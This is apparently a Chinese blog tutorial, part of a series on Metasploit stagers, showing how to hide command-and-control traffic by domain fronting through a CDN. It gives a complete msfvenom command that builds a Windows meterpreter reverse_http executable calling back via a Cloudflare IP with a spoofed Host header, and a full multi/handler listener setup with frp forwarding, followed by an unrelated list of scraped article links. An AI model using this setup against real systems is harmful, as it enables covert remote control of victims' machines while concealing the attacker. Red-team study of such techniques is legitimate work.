msf 中使用域前置技术隐藏流量

前几篇都是说了下如何采用不同的语言开发 reverse_tcp 第二阶段,接下来将慢慢分析 reverse_http,这篇文章并不会围绕 stagers 进行讲解,这篇文章只是半埋上我之前挖的一个坑,关于域前置技术如何在 msf 中进行应用。

域前置技术介绍

域前置技术(Domain-Fronting)顾名思义,把域名放在前面,流量的前面,那么我们应该如何做到这件事情,这个一般就是利用各大 cdn 服务了。

cdn 技术我不用做过多介绍,相信大家给自己的网站上 cdn 都会上,简略来说原理的话,在域名注册商那里把 ns 记录,也就是 dns 解析服务器指向到你选择的 cdn 服务商,然后 cdn 就可以接管你的域名解析了,通过不同的缓存分流策略,把流量经过他的服务器后再转发给我们自己,也就是 cdn 后面的真实ip我们是不容易找到的。

那么应用到 C2 上,我们 C2 服务器也可以挂在 cdn 后面,流量通过 cdn 转发回来。

具体更为详细的介绍可以参见 红队行动之鱼叉攻击-倾旋

基础配置

首先不管怎样你需要有一个服务器,以及一个加了 cdn 的域名执行你服务器

这里我假设我们持有的域名为 test.akkuman.com,域名配好 cdn 指向的服务器是 1.1.1.1

这里你是把服务器架在 msf 上面还是内网穿透打通端口,这个看自己喜好

我这里是 msf 位于其他地方 2.2.2.2,然后 2.2.2.2 的 5555 端口通过 frp 映射到 1.1.1.1 的 80 端口上。

5555 端口是我们待会 msf 监听的端口,80 端口是因为访问域名,http 协议,访问80。

因为这些流量会通过 cdn 先转发到我们主机上的 80 端口,然后 80 端口上的流量会通过 frp 处理后送到我们本机监听的 5555 端口上。

生成 msf payload

基础一些配置做好之后,我们可以生成 payload 了。

首先我们需要得到一个 cdn 的 ip,因为 cdn 是依靠 http header 中的 Host 头进行流量转发的,所以我们只需要 ping 一下我们加了 cdn 的域名即可获得一个 ip,这里我是用的 cloudflare,获得的一个 ip 为 172.67.207.124

msfvenom -p windows/meterpreter/reverse_http LHOST=172.67.207.124 LPORT=80 HttpHostHeader=test.akkuman.com -f exe -o ~/payload.exe

这里 LHOST 为我们获取的 cdn ip,因为是 http 协议的 payload,访问域名是访问 80 端口,LPORT 我们设置为 80

HttpHostHeader 选项为这个生成的 payload 使用 http 协议回连到 cdn ip 时 http header 所使用的 Host 头,还记得我们刚才说的 cdn 如何识别域名进行流量转发吗,这个就主要是为了 cdn 能够把流量转回到我们自己的服务器

创建监听器

msf 在监听中有一些配置需要说明一下

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf5 exploit(multi/handler) > set lhost 172.67.207.124
lhost => 172.67.207.124
msf5 exploit(multi/handler) > set lport 80
lport => 80
msf5 exploit(multi/handler) > set HttpHostHeader test.akkuman.com
HttpHostHeader => test.akkuman.com
msf5 exploit(multi/handler) > set OverrideRequestHost true
OverrideRequestHost => true
msf5 exploit(multi/handler) > set ReverseListenerBindAddress 127.0.0.1
ReverseListenerBindAddress => 127.0.0.1
msf5 exploit(multi/handler) > set ReverseListenerBindPort 5555
ReverseListenerBindPort => 5555
msf5 exploit(multi/handler) > run
  • 首先 lhost 为给 payload 返回第二阶段载荷时填入的 ip 地址,即第二阶段会回连到这个 ip

  • lport 为给 payload 返回第二阶段载荷时填入的 port,即第二阶段会回连到这个端口

  • HttpHostHeader 前面说过,是 payload 回连到这个 ip 和 port 时在 http header 中填入的 Host 头

  • OverrideRequestHost 这个选项需要设置为 true,主要是因为 msf 的历史原因,msf 默认是使用传入请求 http header 中的 Host 字段来作为第二阶段的配置,也就是第二阶段会采用建立连接时传入请求的 Host,这种默认行为在大多数请求下没问题,具体可以自行测试,具体是需要 cdn 回连到我们真实 ip 时传递的域名是我们想要的,这个参数设置为 true 可以让 msf 忽略传入请求的 Host 头,而使用我们在 HttpHostHeader 中设置的

  • ReverseListenerBindAddress 和 ReverseListenerBindPort 参数主要是因为我的环境问题,我是通过 frp 把 1.1.1.1:80 穿透到了本地 (2.2.2.2) 的 127.0.0.1:5555,如果你的 msf 直接在 1.1.1.1 上,那么 duck 不必这么做,直接监听 80 就好

ReverseListenerBindAddress 这个参数其实设置不设置都没关系,但是不设置的话会有个小报错,

[-] Handler failed to bind to 172.67.207.124:80

这是因为 handler 无法将 cdn 的 ip 绑定到LHOST,因为这个 ip 在我们服务器上不存在,绑定失败就会提示这个,然后继续绑定 0.0.0.0。如果想要在界面上不显示这个错误,需要设置 ReverseListenerBindAddress 为 0.0.0.0 或者 127.0.0.1 之类的

可以看到,当我们不设置 ReverseListenerBindAddress 和 ReverseListenerBindPort 时会出现上面的报错 Handler failed to bind to 172.67.207.124:80

也就是 handler 在本地上是希望监听 80 的,而 1.1.1.1:80 上面的流量是转发到我们服务器 (2.2.2.2) 本机的 5555 端口上的。

所以我们的监听程序实际上需要监听在 5555 端口上,所以需要设置 ReverseListenerBindPort 参数

上面的 lhost 和 lport 其实主要是为了第二阶段回送服务的。

实际效果

paylaod.exe <-> cdnip:80(Host: test.akkuman.com) <-> 1.1.1.1:80 <-> frp[1.1.1.1:7000<->2.2.2.2:随机端口] <-> 127.0.0.1:5555

可以看到不管是请求第二阶段还是后续的心跳包,都是有带上 Host 头,流经 cdn 服务器的,这样我们就达到了隐藏自身的效果

那么 msf 会话这边呢

可以看到,也是可以正常使用的

msf stagers开发不完全指北(四): msf 中使用域前置技术隐藏流量的更多相关文章

  1. msf stagers开发不完全指北(二)

    采用 Golang 开发stagers 上一篇文章 msf stagers开发不完全指北(一)中我们谈到如何采用 c 进行 msf 的 stagers 开发,这篇文章我们探讨一下如何使用 Golang ...

  2. msf stagers开发不完全指北(一)

    采用c开发stagers 前言 之前有写过一篇 metasploit payload运行原理浅析(sockedi调用约定是什么),里面有提到以后了解这些东西后可以做的事情,其实包括但不限于自写stag ...

  3. 微信小程序云开发不完全指北

    微信小程序云开发不完全指北 首先必须说明云开发的"云"并不是类似云玩家里的云的意思,而是微信小程序真的提供了云开发的接口以及一个简单的提供存储.数据库服务的虚拟后台(对于一些轻量小 ...

  4. ThinkPHP 3.2.x 集成极光推送指北

    3.2版本已经过了维护生命周期,官方已经不再维护,请及时更新至5.0版本 -- ThinkPHP 官方仓库 以上,如果有条件,请关闭这个页面,然后升级至 ThinkPHP 5,如果由于各种各样的原因无 ...

  5. c#封装DBHelper类 c# 图片加水印 (摘)C#生成随机数的三种方法 使用LINQ、Lambda 表达式 、委托快速比较两个集合,找出需要新增、修改、删除的对象 c# 制作正方形图片 JavaScript 事件循环及异步原理(完全指北)

    c#封装DBHelper类   public enum EffentNextType { /// <summary> /// 对其他语句无任何影响 /// </summary> ...

  6. [转] iOS开发者的Weex伪最佳实践指北

    [From] http://www.cocoachina.com/ios/20170601/19404.html 引子 这篇文章是笔者近期关于Weex在iOS端的一些研究和实践心得,和大家一起分享分享 ...

  7. VMware Workstation 安装以及Linux虚拟机安装 指北

    最近有挺多小伙伴跟我说起虚拟机这个东西,所以,今天就给大家写一篇虚拟机安装使用指北吧. 虚拟机(英语:virtual machine),在计算机科学中的体系结构里,是指一种特殊的软件,可以在计算机平台 ...

  8. ASP.Net MVC开发基础学习笔记:四、校验、AJAX与过滤器

    一.校验 — 表单不是你想提想提就能提 1.1 DataAnnotations(数据注解) 位于 System.ComponentModel.DataAnnotations 命名空间中的特性指定对数据 ...

  9. Python 简单入门指北(二)

    Python 简单入门指北(二) 2 函数 2.1 函数是一等公民 一等公民指的是 Python 的函数能够动态创建,能赋值给别的变量,能作为参传给函数,也能作为函数的返回值.总而言之,函数和普通变量 ...

随机推荐

  1. ORA-12514:监听程序无法识别

    使用plsql远程登录oracle数据库时,出现无法识别监听程序的错误.很大机率是配置文件出错. 配置文件如下: listener.ora是服务器端用的,oracle监听程序,就是读的这个文件,里面有 ...

  2. Linux性能优化思路

    性能测试的核心,就是找出性能瓶颈并进行性能优化,解决"慢"的问题,最终满足客户业务需求. [性能需求来源及性能问题现象] 性能需求的来源,主要分为以下几类: 项目组提出性能需求: ...

  3. Nginx具体配置(三)

    一:Nginx配置实例 - 反向代理 实例一: 1.1:实现效果 在Windows浏览器地址栏中输入www.123.com,跳转到Linux系统中的tomcat主页面 访问Nginx:192.168. ...

  4. NodeJs将异步方法改为同步以上传文件为例

    [本文版权归微信公众号"代码艺术"(ID:onblog)所有,若是转载请务必保留本段原创声明,违者必究.若是文章有不足之处,欢迎关注微信公众号私信与我进行交流!] 下面这个例子既写 ...

  5. Linux系统结构详解(转)

    Linux系统一般有4个主要部分: 内核.shell.文件系统和应用程序.内核.shell和文件系统一起形成了基本的操作系统结构,它们使得用户可以运行程序.管理文件并使用系统.部分层次结构如图1-1所 ...

  6. 明文暴露___JS前台加密,java后台解密实现

    1.前台JS <script type="text/javascript"> $(function() { $("#btn").click(func ...

  7. tomcat中AJP协议和HTTP协议的区别

    tomcat的server.xml中的AJP和HTTP连接器区别 HTTP协议:连接器监听8080端口,负责建立HTTP连接.在通过浏览器访问Tomcat服务器的Web应用时,使用的就是这个连接器. ...

  8. 【原】二进制部署 k8s 1.18.3

    二进制部署 k8s 1.18.3 1.相关前置信息 1.1 版本信息 kube_version: v1.18.3 etcd_version: v3.4.9 flannel: v0.12.0 cored ...

  9. springboot 之 根据传入参数进行多数据源动态切换

    背景:最近有一个需求是根据app传来的请求参数,根据行政部门编码请求不同地区的数据,之前写的多数据源都是固定某个方法调用指定的dao然后查询不同的数据库,但是这次是需要根据前端传入参数进行动态区分数据 ...

  10. RS232/485通信方式 保存和加载时数据的处理

    RS232/485通信方式 数据以RS232/485方式通信时,以0xA5作为开始码,以0xAE作为结束码.在开始码和结束码之间的0xA5, 0xAA, 0xAE数据需要进行转码. PC端发送数据时将 ...